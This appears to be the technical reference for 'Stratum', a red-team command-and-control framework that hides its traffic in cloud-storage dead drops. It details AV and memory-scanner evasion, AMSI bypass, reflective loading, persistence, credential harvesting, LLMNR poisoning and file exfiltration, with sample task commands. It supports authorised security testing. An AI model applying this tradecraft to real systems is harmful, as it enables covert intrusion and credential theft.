Technical Reference
Cryptographic protocol · Agent architecture · Persistence engine · Transport layer · OPSEC design
1Philosophy & Design
1.1 What is Stratum?
Stratum is a cloud persistence framework built for long-haul operations that require resilient, covert communication channels. It is not a general-purpose C2 framework, a post-exploitation toolkit, or an initial access platform. Its role is precise: establish a persistent encrypted channel on a target environment and maintain it reliably over extended time horizons — weeks, months, or longer — while remaining operationally silent between uses.
The framework's primary value is as a fallback and persistence layer. In a mature engagement, primary C2 infrastructure gets burned — by incident response, domain takedowns, certificate revocation, or IP blocking. Stratum is designed to survive all of these events because it has no infrastructure of its own to burn. When the primary is gone, Stratum is still there.
1.2 The Dead-Drop Paradigm
Traditional C2 frameworks run a server — a process listening on a port, requiring a domain, a TLS certificate, and IP infrastructure that can be taken down. Stratum eliminates all of this by using cloud storage as the communication medium.
The "dead drop" is a private folder in a cloud provider account containing three files: input.txt (operator writes encrypted commands), output.txt (agent writes encrypted responses), and heartbeat.txt (agent writes periodic status). The agent polls on a configurable interval. From a network perspective, this is an HTTPS POST to api.dropboxapi.com — identical to a user syncing a document.
1.3 Operational Use Cases
| Scenario | How Stratum Fits |
|---|---|
| Fallback access | Deployed early in an engagement alongside the primary C2. When primary infrastructure is taken down by IR, Stratum provides continued access through a completely independent channel. |
| Long-haul persistence | Deployed on high-value targets for extended monitoring. Low beacon rate (120–300s) minimizes network artifacts. Maintenance windows restrict activity to off-hours to avoid detection. |
| Air-gap adjacent | Environments that block custom outbound destinations but permit Dropbox/OneDrive/Google Drive (common in corporate environments that use these for business). Stratum communicates through the permitted cloud sync. |
| Multi-team operations | Multiple red team operators manage independent sessions through the shared WebGUI. Session ownership and locking prevent command conflicts between simultaneous operators. |
| Segmented attribution | Different targets can use different cloud providers. If one provider account is identified and closed, only sessions on that provider are affected. |
1.4 Key Differentiators
Most C2 frameworks share a common assumption: the attacker controls a server. Block the server — kill the implant. Stratum is built around the opposite premise: route through infrastructure the defender cannot block. Everything else follows from there.
Five capabilities distinguish Stratum from every other open-source framework in this space:
① The channel is structurally unblockable
A SOC that wants to silence Sliver blocks the teamserver domain or IP. A SOC that wants to silence Stratum has to block Dropbox, OneDrive, Google Drive, SharePoint, and S3 — which means blocking productivity tools used by every employee in the organisation. That is not a firewall rule; it is a business decision no enterprise will make. The dead-drop architecture does not try to evade detection. It operates on infrastructure the defender has already decided to trust, permanently.
② Five cloud providers, one keypair, one wizard
Dropbox, OneDrive (Microsoft Graph), Google Drive, SharePoint, and S3-compatible object storage all share the same cryptographic wire format and the same RSA keypair. Switching providers mid-engagement takes minutes and does not require touching the agent. No other open-source framework ships five enterprise-whitelisted cloud backends out of the box, unified under a single protocol.
③ Six agent formats from a single deploy flow
From one wizard run: .sh (bash, zero dependencies), .ps1 (PowerShell 7+ / .NET 6+), PE and DLL launchers, musl-static ELF, flat x64 shellcode, and a fully in-process Rust native agent — all sharing the same session and cloud channel. The operator never touches a compiler, sets an environment variable, or manages a keypair manually. This is the sharpest practical differentiator: it puts compiled cross-platform agents within reach of operators who are not developers.
④ /persist probe — know before you install
Before writing a single registry key or cron entry, the operator runs /persist probe. The agent checks every persistence technique at the current privilege level — scheduled tasks, registry run keys (HKCU/HKLM), startup folder, systemd user/system, cron, rc.local — and returns a per-technique feasibility report. Nothing is written. No artifacts are left. The operator sees exactly what is available on that specific host, then installs only what will succeed. No other framework provides a non-destructive persistence feasibility audit as a first-class command.
⑤ Guardrails baked into every agent at deploy time
Operational safety features are not bolt-ons — they are configured in the wizard and compiled permanently into every artifact:
- Kill date: agent self-destructs (removes persist, deletes binary) on a configured date. No manual cleanup required after engagement end.
- Maintenance window: beacon only during configured hours — silent during business hours, active at night.
- Log-normal jitter: beacon intervals drawn from a log-normal distribution rather than a flat random range — the natural distribution of legitimate application polling, resistant to timing-based detection.
- Compile-time stub secret + ephemeral stage-2: the key that unlocks the stage-2 payload is baked into the stub at compile time and never uploaded to cloud. The stage-2 itself is deleted from cloud on first agent heartbeat. Obtaining cloud credentials after deployment recovers nothing.
- Shannon entropy correction: script artifacts are measured and padded with natural-language text until H ≤ 5.0 b/B — below the threshold used by common AV scanners to flag packed payloads.
- MIME boundary randomisation: per-deployment unique multipart boundary in the Rust agent binary eliminates a static string fingerprint.
The following table summarises the full capability set:
| Capability | Description | Market Status |
|---|---|---|
| Zero infrastructure exposure | No server ports, no domains, no TLS certificates. The only externally visible traffic is HTTPS to a cloud provider the target already whitelists. | Rare — most frameworks require a listener |
| Five interchangeable cloud providers | Dropbox, OneDrive, Google Drive, SharePoint, S3-compatible — same protocol, same keypair, switchable without redeployment. | Single-provider solutions common; unified 5-provider framework is not |
| Six agent formats, one wizard | bash, PS1, PE launcher, DLL launcher, musl ELF, shellcode, native Rust EXE/ELF — all generated from a single deploy flow. | Rare in open-source frameworks |
| Non-destructive persistence probing | Feasibility audit of all persistence techniques before any write. No artifacts left behind on probe. | Unique approach |
| Kill date | Agent self-destructs (persist removal + binary deletion) on a configured date. Baked at deploy time, requires no operator action. | Present in Cobalt Strike; absent in most open-source tools |
| Compile-time stub secret + ephemeral stage-2 | Stage-2 decryption key is baked into the stub binary at compile time — never uploaded to cloud. Stage-2 is deleted from cloud on first heartbeat. Cloud credential compromise yields nothing after first run. | Unique implementation |
| Forward secrecy (Epoch ECDH) | X25519 key exchange per check-in cycle with HKDF-SHA256 ratchet. Each epoch derives a fresh encryption key; previous keys are destroyed. KDF chain provides per-message anti-replay and fork detection. | Rare in dead-drop C2 frameworks |
| Shannon entropy engineering | Every generated artifact measured and corrected below 5.0 b/B at deploy time. Natural-language padding mimics legitimate system utilities. | Not seen in other frameworks |
| Log-normal jitter | Beacon intervals drawn from a log-normal distribution — resistant to timing-based pattern detection in PCAP and SIEM. | Most tools use uniform random jitter |
| MSVC-ABI Rust PE compilation | Windows native agents use clang-cl + lld-link + xwin SDK. PE import table identical to Visual Studio output, no MinGW fingerprints. | Most Rust-based tools use MinGW |
| OIDC authentication | Keycloak, Azure AD, Okta — or local username/password. Multi-operator with real-time WebSocket sync. | Rare in open-source C2 frameworks |
2Cryptographic Protocol
2.1 Hybrid Encryption Design
Every byte of C2 traffic between operator and agent is end-to-end encrypted using a three-layer hybrid scheme. The outer layer provides forward secrecy via Epoch ECDH (X25519) key agreement with a KDF chain ratchet; the middle layer provides command authenticity via RSA-4096 PSS signatures; the inner layer provides bulk encryption via AES-256-GCM with per-message fresh keys. An RSA-4096 key pair is generated per deployment and is never reused across sessions. The private key never leaves the operator machine; the public key is split into four fragments and baked into the agent at compile time.
epoch_key via HKDF-SHA256. A KDF chain (HMAC-SHA256) ratchets forward per message for anti-replay and fork detection.Layer 2 — RSA-4096 (authentication): RSA-PSS-SHA256 signs server→agent commands. The agent verifies the signature before decrypting, guaranteeing command authenticity.
Layer 3 — AES-256-GCM (bulk encryption): Per-message fresh AES key, wrapped with the current
epoch_key instead of a static session key.The stage-2 payload / config blob (stub-secret channel) also uses AES-256-GCM. The local hw-keyed blob on disk (DPAPI on Windows, OpenSSL CBC on Linux) is a separate independent layer and is unchanged.
This design provides four security properties simultaneously:
- Command authenticity — commands can only be issued by the holder of the RSA private key. A compromised cloud account cannot inject fake commands.
- Response confidentiality — responses are encrypted with the current epoch key and can only be decrypted by the server. A compromised cloud account cannot read agent output.
- Forward secrecy — each check-in cycle performs a fresh X25519 key exchange, deriving a new epoch key via HKDF. Previous epoch keys are destroyed. Compromise of the current key does not expose past traffic.
- Anti-replay & fork detection — the KDF chain ratchet produces a monotonic counter and per-message authentication tag. Replayed or out-of-order messages are detected and rejected.
2.2 Key Generation Lifecycle
prekey_privs_hex)
└─ Public keys → base64-encoded, baked into agent (STRATUM_PREKEY_POOL_B64)
Agent picks one at bootstrap for first epoch DH
Agent lifetime:
↓
Agent reconstructs RSA public key from PK1+PK2+PK3+PK4 at startup
Agent decodes pre-key pool → bootstraps Epoch 0 via X25519 DH
Epoch key rotates on every check-in cycle (forward secrecy)
RSA verifies command signatures; epoch_key wraps AES keys
Private key is never on the target. Never.The 4-part public key split is a deliberate obfuscation technique. A simple string search for the RSA public key header (-----BEGIN PUBLIC KEY-----) in the agent binary will find nothing, because the key is stored as four separate base64 strings with no PEM headers, only reassembled in memory at runtime.
2.3 Command Wire Format (v2)
Commands are written to input.txt in the cloud folder as raw binary (v2 wire format). The agent reads the file, deletes it atomically, then decrypts. If decryption or signature verification fails, the agent writes a KM:<timestamp> marker to the heartbeat file and discards the input.
# Binary envelope with version byte 0x02:
#
# [0x02] — version byte (1 byte)
# [epoch:4 LE] — epoch counter (uint32)
# [server_eph_pub:32] — server's X25519 ephemeral public key
# [wrapped_len:4 LE] — length of wrapped AES key blob
# [wrapped_aes:N] — GCM(epoch_key, random_aes_key) — nonce(12)+ct+tag(16)
# [payload_len:4 LE] — length of GCM payload
# [GCM_payload:M] — GCM(random_aes_key, JSON task) — nonce(12)+ct+tag(16)
# [RSA-PSS signature:512] — RSA-PSS-SHA256 over (wrapped_aes || GCM_payload)
#
# epoch_key — derived from X25519 DH between server and agent, rotated per cycle
# server_eph_pub — agent uses this to rotate to the next epoch on its next check-in
# PSS sig — signed with server private key; agent verifies before decrypting
#
# Agent: parse header → epoch rotate if needed → RSA-PSS verify sig →
# GCM-unwrap aes_key with epoch_key → AES-256-GCM decrypt payload
# Binary envelope with version byte 0x02:
#
# [0x02] — version byte (1 byte)
# [epoch:4 LE] — current epoch counter (uint32)
# [agent_eph_pub:32] — agent's X25519 ephemeral public key
# [counter:8 LE] — KDF chain counter (uint64, monotonic)
# [chain_tag:32] — HMAC-SHA256 authentication tag from KDF chain
# [GCM_payload:N] — GCM(epoch_key, plaintext) — nonce(12)+ct+tag(16)
#
# Server: verify chain_tag (anti-replay) → decrypt with epoch_key
# If epoch > server's epoch: server rotates via DH(server_eph_priv, agent_eph_pub)
# After epoch_key GCM-unwrap + AES-256-GCM decrypt, the plaintext is a compact JSON object:
{"id":"<cmd_id>", "type":"<task_type>", "args":{...}}
# task_type values (server → agent):
# shell — execute shell command (all agents)
# sysinfo — refresh and upload system info (all agents)
# env — dump process environment variables (all agents)
# sleep — update beacon interval (all agents)
# jitter — update jitter percentage 0–50 (all agents)
# upload — push file from server to target (all agents)
# download — pull file from target to server (all agents)
# exfil — bulk file pull by glob pattern (all agents)
# timestomp — copy timestamps from a reference file (all agents)
# timestomp_set — set timestamps to explicit ISO-8601 value (all agents)
# persist_probe — probe all/selected persistence techniques (script agents)
# persist_install— install persistence technique (script agents)
# persist_remove — remove persistence technique (script agents)
# persist_status — check status of technique (script agents)
# persist_action — shorthand dispatch via schtask-logon (script agents only)
# blobsave — force re-cache of hw-keyed ddb blob (script agents only)
# exit — graceful agent shutdown, no artifact cleanup
# kill — remove all persistence + wipe blob + exit
#
# "exit" is the wire type for /stop; "kill" is the wire type for /kill.
# persist_action and blobsave are never dispatched to the Rust agent.
# Examples:
{"id":"a1b2c3", "type":"shell", "args":{"cmd":"whoami", "cwd":"/tmp"}}
{"id":"a1b2c4", "type":"sysinfo", "args":{}}
{"id":"a1b2c5", "type":"persist_install", "args":{"technique":"schtask-logon"}}
{"id":"a1b2c6", "type":"timestomp_set", "args":{"target":"C:\\evil.exe", "timestamp":"2024-03-15T09:00:00"}}
{"id":"a1b2c7", "type":"exit", "args":{}}
# Agent AES-256-GCM encrypts a compact JSON response object (epoch_key wraps encryption):
{"id":"<cmd_id>", "type":"<task_type>", "status":"ok"|"error",
"output":"<stdout/stderr>", "cwd":"<path>", "staging_path":"",
"artifacts":[{"op":"add"|"remove", "type":"<kind>", "path":"<path>"}]}
# Fields:
# id — echoes the cmd_id from the task (stale-response rejection)
# type — echoes the task type
# status — "ok" | "error"
# output — captured stdout/stderr (shell) or structured text (others)
# cwd — agent working directory after execution (shell only)
# staging_path — cloud path for upload/download artifacts; empty otherwise
# artifacts — on-target files added or removed by persist_install/remove
input.txt. If multiple operators send commands simultaneously, whichever write happens last is the one the agent executes. The session locking mechanism in the WebGUI prevents concurrent command issuance to the same session.
2.4 Enc Modes: Stub Secret Scheme
Both staged-enc and stageless-enc use a stub-secret model: the decryption key is a random 256-bit value (stub_secret) generated by the wizard, compiled directly into the stub binary via a build-time environment variable, and never uploaded to cloud storage. There is no bootstrap-key file, no cloud fetch of a key, and no rearm operation — the secret lives only in the binary on disk and, after first run, in the hw-keyed blob cache.
agent_idEvery Stratum agent embeds a per-deployment 256-bit session key at build time. In the v2 protocol, the session key serves as the HKDF salt for bootstrapping the first epoch key (Epoch 0). It is NOT used to directly wrap AES keys — that role belongs to the rotating epoch_key derived from X25519 DH.
The pre-key pool (8 × X25519 keypairs) enables the first epoch bootstrap without a direct server-agent handshake. The agent picks a pre-key public key and performs DH with its ephemeral private key. The server iterates its pre-key private keys to find the matching one.
The agent_id is SHA256("stratum-agent-id:" || session_key) — deterministic on both sides, used as the HKDF info parameter for chain key derivation. This binds the KDF chain to the specific session.
In staged-enc mode the stub hands the session key to the stage-2 payload via the _SS_K environment variable, which is unset immediately after reading. In stageless-enc and stageless-plain modes, the session key is baked directly into the binary.
2.5 Key Derivation & Entropy Engineering
PBKDF2 Iterations
All symmetric key derivation in Stratum (stage2/config enc, local hw-keyed blob) uses PBKDF2-HMAC-SHA256 with 210 000 iterations. This applies uniformly across:
- Python wizard (
providers/_wizard.py,providers/_crypto.py) - Rust native agent (
crypto_compat.rs,const ITER: u32 = 210_000) - Bash stubs (
-iter 210000flag to openssl for CBC blob; 210000 in Python GCM inline) - PowerShell stubs (
Rfc2898DeriveBytes(pass, salt, 210000, SHA256))
210 000 iterations meets OWASP 2023 minimum (120 000) with comfortable headroom. The iteration count is the same for both the GCM stage2 channel and the CBC local-blob channel — consistency prevents accidentally using a weaker setting in one path.
Entropy Engineering
High-entropy data embedded in PE/ELF binaries is a primary detection signal for tools like Detect It Easy (DIE) and Manalyze. A section with Shannon entropy above 6.5 b/B is a strong indicator of packed or encrypted content. Stratum addresses this at the artifact generation step — not as an afterthought.
How it works: after generating scripts, the wizard measures the Shannon entropy (H) of the entire file in bits-per-byte. If H exceeds the 5.0 b/B target, the wizard appends a block of natural-language padding text (~128 KB, H ≈ 4.4 b/B) and re-measures. This continues until H ≤ 5.0 b/B. The padding text is carefully chosen to be syntactically plausible system utility documentation, blending with legitimate software strings.
| Target | Stratum target | DIE threshold | Manalyze/pefile threshold |
|---|---|---|---|
| Script .rdata/.rodata entropy | ≤ 5.0 b/B | 6.5 b/B | 7.0 b/B |
| Native Rust .rodata entropy | ≤ 5.5 b/B | 6.5 b/B | 7.0 b/B |
The Rust native agent includes a 128 KB entropy pad compiled directly into .rodata via a #[link_section] attribute. This dilutes the entropy of the adjacent high-entropy script bytes from the embedded agent payload.
2.6 Forward Secrecy (Epoch ECDH + KDF Chain)
Stratum v2 implements true forward secrecy using an Epoch ECDH ratchet (outer ratchet) combined with a KDF chain (inner ratchet). This design ensures that compromise of the current session state does not expose any past traffic, and that message replays and agent forks are detected.
Outer Ratchet — Epoch ECDH (X25519)
Each check-in cycle performs a fresh X25519 Diffie-Hellman key exchange. The resulting shared secret, combined with the previous epoch key as HKDF salt, derives the new epoch_key. Previous epoch keys are destroyed.
Inner Ratchet — KDF Chain (HMAC-SHA256)
Within each epoch, the chain key ratchets forward on every message. This provides per-message authentication, a monotonic counter for anti-replay, and fork detection (two agents with the same initial state will diverge after the first message).
Implementation
| Component | Agent (Rust) | Server (Python) |
|---|---|---|
| Module | epoch.rs | providers/_epoch.py |
| X25519 | x25519-dalek crate | cryptography.hazmat.primitives.asymmetric.x25519 |
| HKDF | hkdf crate (SHA-256) | cryptography.hazmat.primitives.kdf.hkdf |
| HMAC | hmac crate (SHA-256) | hmac stdlib |
| AES-256-GCM | aes-gcm crate | cryptography.hazmat.primitives.ciphers.aead.AESGCM |
| State persistence | HW-keyed blob ({blob}.epoch) | Session profile JSON (epoch_state_json) |
3Agent Architecture
3.1 Agent Types Overview
Stratum generates multiple agent types per deployment, selecting based on available build tooling. All types implement the same C2 protocol and are interchangeable — an operator can switch from a script agent to a native binary mid-operation without redeployment.
| Artifact | Platform | Runtime | Requires |
|---|---|---|---|
agent.sh / stub.sh | Linux | bash ≥ 3.2 | curl, base64, openssl |
agent.ps1 / stub.ps1 | Windows | PowerShell 7+ (.NET 6+) | PS execution policy ≠ Restricted; AesGcm not available on PS5.1 |
*.elf | Linux | None (musl-static) | Linux kernel ≥ 3.10, glibc ≥ 2.17 |
*.exe / *.dll | Windows | None (MSVC-ABI) | Windows 7+ x64 |
*.bin | Windows | External loader | x64 PIC blob; reflectively loads agent.exe in-memory |
*.elf (loader) | Linux | None (musl-static) | kernel 3.17+ for memfd; falls back to /dev/shm → /tmp |
*.dll (loader) | Windows | None | Windows 7+ x64; rundll32 or regsvr32 |
3.2 Script Agents (bash / PowerShell)
The section below is historical reference only. All script templates (core.sh, core.ps1, stub variants) and provider transport scripts have been deleted.
Composition at deploy time:
# agent.sh build process (wizard)
transport = providers/dropbox/transport/agent.sh # token refresh, upload, download
core = agents/templates/core.sh # C2 loop, crypto, persistence
agent = transport + "\n\n" + core # concatenated, then placeholders substituted
The script agents implement the core feature set: RSA+AES cryptography in pure bash/PowerShell, heartbeat reporting, command dispatch, persistence installation, timestomping, file transfer, and artifact tracking. See §3.5 for the full feature parity matrix — the Rust native agent is the operational reference implementation with the complete tradecraft module.
Encryption layers in the bash stub:
stub.ps1 and stub_stageless.ps1 require PowerShell 7+ (.NET 6+) because System.Security.Cryptography.AesGcm is not available on PS5.1 / .NET Framework 4.x. The stub exits immediately with code 1 on older versions. Use the native .exe or .dll agent for targets where only PS5.1 is available.
3.3 Native Rust Agent (agents/native/rust/)
The native Rust agent compiles to fully self-contained binaries with no interpreter dependency. All C2 logic, cryptography, and provider transport are compiled into the binary. The agent is compiled fresh per deployment with all credentials and configuration baked in via build-time environment variables read by build.rs.
Source modules:
transport.rs— provider HTTP transport, selected at compile time viacfg(stratum_provider_*)epoch.rs— Epoch ECDH + KDF chain forward secrecy (X25519, HKDF-SHA256, HMAC-SHA256); v2 wire format encrypt/decrypt for heartbeats, commands, and responsescrypto.rs— RSA-4096 key load, RSA-PSS verify, AES-256-GCM primitives, staging file decryptcrypto_compat.rs— stage2/config payload decrypt with dual-format dispatch: AES-256-GCM ("SGCM:" prefix, current) and AES-256-CBC legacy ("Salted__" prefix, backward compat); PBKDF2-SHA256 210 000 iter; key is stub_secret baked at compile timepersist.rs— full multi-technique persistence engine, mirroring the script agentsysinfo.rs— hostname, user, OS, IP enumeration for heartbeatinlinexec.rs— in-memory execution: BOF, .NET assembly, memexec, fileless scriptsstaged.rs/stageless_enc.rs— mode-specific bootstrap logic (ddb-first, cloud fallback)
Compilation targets produced per deployment:
x86_64-unknown-linux-musl→{base}.elf— musl-static ELF, zero runtime dependenciesx86_64-pc-windows-msvc→{base}.exe+{base}.dll— MSVC-ABI PE (requires clang-cl + xwin SDK)
If build tooling is unavailable, the wizard skips the target and emits a warning. Script agents are always generated regardless.
3.4 Shellcode & Loaders
Shellcode (agents/native/shellcode/): Compiles to x86_64-unknown-none with OUTPUT_FORMAT(binary) via a custom linker script, producing a flat position-independent blob with no PE/ELF headers. The blob is a reflective PE loader — it embeds the compiled native Rust agent EXE (agent.exe, MSVC-ABI) and loads it directly into memory at runtime without writing anything to disk or spawning any interpreter process.
Execution sequence inside the blob:
1. _start() → CreateThread(agent_thread) → returns immediately
agent_thread:
2. PEB walk → locate KERNEL32.DLL base (ROR13 hash of module name)
3. Export scan → resolve VirtualAlloc / VirtualProtect / LoadLibraryA / GetProcAddress
4. VirtualAlloc(RW, SizeOfImage) → allocate image-sized region
5. Copy PE headers + sections to their virtual addresses
6. Apply base relocations → IMAGE_REL_BASED_DIR64 entries patched with delta
7. Resolve IAT → LoadLibraryA per DLL + GetProcAddress per import
8. VirtualProtect per section → .text→RX .data→RW etc.
9. wipe_embedded_pe() → VirtualProtect(.rodata, RW) + volatile memset(0)
10. TLS callbacks (if any)
11. Call OEP as DLL_PROCESS_ATTACH → agent C2 loop starts
.rodata are no longer needed. The loader makes the page temporarily writable via VirtualProtect, zeroes all bytes with ptr::write_volatile (preventing LLVM dead-store elimination), then restores the original protection. This eliminates the MZ/PE signature and all agent strings from the loader's memory region — defeating post-execution memory scanners (pe-sieve, Moneta) that would otherwise find a full PE image in .rodata. The loaded agent is unaffected — it runs from its own independent region.
.bin shellcode embeds agent.exe and is therefore built after the EXE compilation step. If the MSVC toolchain (clang-cl + lld-link + xwin SDK) is not available, the .bin artifact is skipped — the wizard prints a clear warning. All other artifacts are unaffected.
Loader compatibility: The blob is standard x64 PIC shellcode — compatible with any external loader that accepts raw shellcode: Cobalt Strike aggressor scripts, Havoc/Sliver stagers, Donut, sRDI, or any custom loader written in C/Rust/Nim/Go. The contract is simple: the blob is position-independent, starts at offset 0, and assumes only that it runs inside a Windows x64 process.
ELF Loader (agents/native/linux/): A musl-static ELF that embeds the bash agent script at compile time via include_bytes!(env!("STRATUM_AGENT_PATH")). Execution chain on the target:
1. memfd_create(".", 0) // anonymous kernel memory fd (SYS_319)
2. write script bytes to fd
3. exec bash from "/proc/self/fd/<n>" // script bytes never touch disk
// Fallback chain if memfd unavailable:
4. write to "/dev/shm/.<pid>", exec, delete
5. write to "/tmp/.<pid>", exec, delete
The child bash process sees the script from /proc/self/fd/n, which appears in ls /proc/PID/fd/ but has no corresponding path in the filesystem. The script content is never written to any filesystem path.
PE Loader (agents/native/windows/): A PE/DLL that embeds the PowerShell agent and executes it via CreateThread → PowerShell in-process. Can be invoked via rundll32.exe agent.dll,Run or regsvr32 /s agent.dll.
3.5 Agent Feature Parity
The Rust native agent is the operational reference implementation — it has full feature coverage on both Linux and Windows, and is the only agent supporting the v2 protocol (Epoch ECDH + KDF chain forward secrecy). Script agents (bash, PowerShell) are v1-only and no longer compatible with the server.
Complete Feature Matrix
| Feature | Rust Native | PowerShell | Bash | Notes |
|---|---|---|---|---|
| Core C2 | ||||
| v2 protocol (Epoch ECDH + KDF) | ✓ | — | — | Required. Script agents use v1 and cannot connect |
| Heartbeat / beacon | ✓ | ✓ | ✓ | Rust: v2 binary format. Scripts: v1 (incompatible) |
| RSA-4096 + AES-256-GCM crypto | ✓ | ✓ | ✓ | PS1 uses .NET crypto; bash shells out to python3 |
| Shell pass-through | ✓ | ✓ | ✓ | |
| /sysinfo | ✓ | ✓ | ✓ | |
| /env | ✓ | ✓ | ✓ | |
| /sleep, /jitter | ✓ | ✓ | ✓ | |
| /download, /upload | ✓ | ✓ | ✓ | |
| /exfil (glob staging) | ✓ | — | ✓ | PS1: use /download or shell equivalent |
| /timestomp, /timestomp_set | ✓ | ✓ | ✓ | |
| /stop, /kill | ✓ | ✓ | ✓ | |
| Artifact tracking | ✓ | ✓ | ✓ | |
| HW-keyed ddb blob (cold restart) | ✓ | ✓ | ✓ | |
| Kill date / maintenance window | ✓ | ✓ | ✓ | |
| Persistence | ||||
| /persist probe | ✓ | ✓ | ✓ | |
| /persist install / remove / status | ✓ | ✓ | ✓ | |
| Linux techniques (cron, systemd, rc.local) | ✓ | — | ✓ | PS1 is Windows-only |
| Windows techniques (schtask, registry, WMI, service) | ✓ | ✓ | — | Bash is Linux-only |
| Credential Harvesting (/creds) | ||||
| /creds harvest | ✓ | ✓ | — | Rust: full cross-platform (Linux+Windows). PS1: Windows-only |
| /creds harvest decrypt | ✓ | ✓ | — | DPAPI + Chromium AES-GCM decryption |
| /creds sam | ✓ | ✓ | — | Rust: in-memory via registry API (SYSTEM or elevated Admin). PS1: reg.exe hive save + stage for offline |
| /creds coerce | ✓ | ✓ | — | Rust: SpoolSample+EfsRpc (Win), SSH-agent+Kerberos (Linux). PS1: SpoolSample only |
| /creds listen start/stop/dump | ✓ | ✓ | — | Rust: multi-threaded. PS1: poll-based. Protocols: smb (NTLMv2), http (plaintext Basic), http-ntlm (NTLMv2) |
| LLMNR / NBNS poisoning | ✓ | ✓ | — | Auto-starts with first listener |
| Credential deduplication | ✓ | ✓ | — | By identity key (user::domain for NTLMv2, user:pass for Basic) |
| In-Memory Execution | ||||
| /bof (BOF execution) | ✓ | — | — | COFF loader — Rust only, Windows only |
| /assembly (.NET in-memory) | ✓ | — | — | CLR hosting — Rust only, Windows only |
| /assembly-amsibypass (.NET + AMSI bypass) | ✓ | — | — | CLR hosting + HW breakpoint on AmsiScanBuffer — Rust only, Windows only |
| /memexec (PE/ELF in-memory) | ✓ | — | — | Win: reflective PE loading. Linux: memfd_create — Rust only, cross-platform |
| /script (fileless script exec) | ✓ | — | — | Pipe to stdin — Rust only, cross-platform (PS/cmd/bash/sh/python) |
| /script-amsibypass (script + AMSI bypass) | ✓ | — | — | Pipe to stdin + HW breakpoint on AmsiScanBuffer — Rust only, Windows PS only |
| PS1-Only | ||||
| /blobsave (manual ddb refresh) | — | ✓ | — | Rust handles ddb automatically; bash has equivalent logic |
| /persist (bare shorthand) | — | ✓ | — | PS1 convenience alias → persist_action dispatch |
Why The Gaps Exist
Bash has no /creds module. Credential harvesting requires binary protocol manipulation (SMB2/NTLMSSP handshake, ASN.1/DER encoding, SPNEGO wrapping), in-memory cryptographic operations (AES-GCM, DPAPI, RC4/DES for SAM), and concurrent I/O (TCP listeners + UDP poisoners running alongside the beacon loop). Bash has no native support for any of these — implementing SMB2+NTLMSSP in pure bash would require thousands of lines of printf/xxd hex manipulation with no type safety, and would produce a fragile, unmaintainable module with no realistic path to correctness. The Rust native agent runs on Linux with full /creds support including in-memory SAM-equivalent (/etc/shadow parsing), SSH key harvesting, browser credential extraction, and the complete listener/poisoner stack. For Linux targets that need credential harvesting, deploy the Rust agent.
Bash has no /bof, /assembly, /assembly-amsibypass, /memexec, /script, /script-amsibypass. In-memory execution (COFF loading, CLR hosting, reflective PE/ELF loading) and fileless script execution require capabilities that are fundamentally impossible in a shell interpreter. These capabilities exist only in the compiled Rust agent.
PowerShell /creds has implementation-level differences from Rust.
- SAM extraction: Rust reads SAM/SYSTEM hives in-memory via registry API with
REG_OPTION_BACKUP_RESTORE— zero processes spawned, zero files on disk, zero command-line telemetry.RtlAdjustPrivilegeauto-enablesSeBackupPrivilege, so SAM works from elevated Admin (not just SYSTEM). PS1 usesreg.exe saveto dump hives to temp files, stages them for offline cracking withsecretsdump.py, then deletes the temp files. The PS1 approach leaves brief forensic artifacts (temp hive files,reg.exein process logs) that the Rust approach avoids entirely. - Coercion: Rust implements both SpoolSample (MS-RPRN) and EfsRpc (MS-EFSR) on Windows, plus SSH-agent hijack and Kerberos ccache enumeration on Linux. PS1 implements SpoolSample only (Windows-only agent).
- Listeners: Rust runs SMB/HTTP listeners as dedicated threads — connections are accepted and processed in real-time regardless of beacon sleep interval. PS1 uses a poll-based architecture where pending connections are checked once per beacon cycle. With a 60-second sleep, a client connection arriving at second 1 will not be processed until second 60. For low-sleep deployments (5–15s) this is operationally acceptable; for long-sleep deployments (60s+) the Rust agent is strongly preferred for listener tasks.
- Harvest cross-platform: Rust harvest covers both Linux (SSH keys, GPG, cloud creds, NetworkManager WiFi,
/etc/shadow, Kerberos ccache, GNOME Keyring, browser profiles) and Windows (DPAPI, Chrome/Edge, Firefox, WiFi, RDP, Vault, cloud creds, FileZilla, mRemoteNG, PowerShell history, Git). PS1 covers Windows only.
PowerShell has no /bof, /assembly, /assembly-amsibypass, /memexec, /script, /script-amsibypass. While PowerShell can theoretically host CLR assemblies and P/Invoke native code, reliable COFF loading, reflective PE execution, and fileless script piping require low-level control over memory layout that PowerShell's managed runtime does not provide safely. The Rust agent implements these as compiled native code with direct control over memory allocation and protection flags.
3.6 Choosing the Right Agent
| Situation | Recommended Agent | Rationale |
|---|---|---|
| Default Linux deployment | .elf (Rust native) | Full feature parity including /creds, /bof, /memexec. Musl-static, zero dependencies |
| Minimal Linux (no Rust toolchain) | .sh (legacy v1 only) | Script works only with v1 servers. For v2: cross-compile Rust agent on operator machine |
| Default Windows deployment | .exe (Rust native) | Full feature parity including in-memory SAM, /creds, /bof. No interpreter in process tree |
| Windows (no Rust toolchain) | .ps1 (legacy v1 only) | v1 protocol only — requires v1 server. For v2: cross-compile Rust agent on operator machine |
| EDR-heavy Windows environment | .exe (MSVC-ABI) | No PowerShell in process tree; MSVC import table; binary-level entropy balanced |
| Credential harvesting / listeners | Rust native (any format) | Multi-threaded listeners, in-memory SAM, cross-platform harvest. PS1 is poll-based with higher OPSEC cost on SAM |
| In-memory execution (BOF/assembly) | Rust native only | COFF loading, CLR hosting, reflective PE/ELF — not available in script agents |
| Injection / reflective load | .bin shellcode | Flat PE-free blob, inject into any host process. Carries the full Rust agent |
| DLL sideloading | .dll | Drops into legitimate DLL search paths; rundll32/regsvr32 invocation |
4Deployment Modes
Stratum supports three delivery architectures. The choice determines how the agent payload reaches execution on the target, and what survives a disk forensic acquisition.
4.1 Staged-Enc
Staged-Enc
A small stub is delivered to the target. The stub has a 256-bit stub_secret baked into it at compile time. On first execution, the stub checks a local hw-keyed cache (ddb blob); on miss it downloads stage2.enc from the cloud, decrypts it with the baked-in secret, and executes the full agent entirely in memory. The secret never leaves the binary — no key fetch from cloud.
- Smallest initial footprint on disk
- Full agent payload never written to disk
- Stage-2 can be updated without re-delivery of the stub
- stub_secret never transits the network — not in cloud storage
- Fast cold restart via local hw-keyed ddb blob (no cloud fetch)
- Requires internet connectivity on first execution (ddb miss)
- stage2.enc visible in cloud folder until first heartbeat (encrypted)
- Stub alone has no C2 capability without ddb or cloud
4.2 Stageless-Plain
Stageless-Plain
The full agent — transport credentials, RSA public key, C2 configuration — is embedded in the delivery file in plaintext (though all C2 traffic remains encrypted). Single file, zero cloud dependencies at runtime. No bootstrap key.
- Single file delivery, no cloud deps at execution
- Works in disconnected / sporadic-connectivity scenarios
- Simplest to understand and audit
